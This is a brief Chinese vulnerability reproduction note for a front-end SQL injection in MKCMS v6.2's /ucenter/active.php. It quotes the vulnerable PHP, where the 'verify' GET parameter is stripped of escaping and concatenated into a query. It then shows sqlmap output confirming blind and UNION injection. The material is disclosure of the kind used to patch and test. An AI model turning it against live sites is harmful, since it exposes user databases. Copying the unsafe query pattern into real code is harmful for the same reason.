MKCMS v6.2 /ucenter/active.php前台sql注入漏洞

一、漏洞简介

二、漏洞影响

MKCMS v6.2

三、复现过程

/ucenter/active.php?verify=1存在注入

/ucenter/active.php
<?php
...
$verify = stripslashes(trim($_GET['verify']));  //去掉了转义用的    $nowtime = time();
$query = mysql_query("select u_id from mkcms_user where u_question='$verify'");
$row = mysql_fetch_array($query);
...

sqlmap直接跑即可

[INFO] GET parameter 'verify' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[INFO] GET parameter 'verify' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
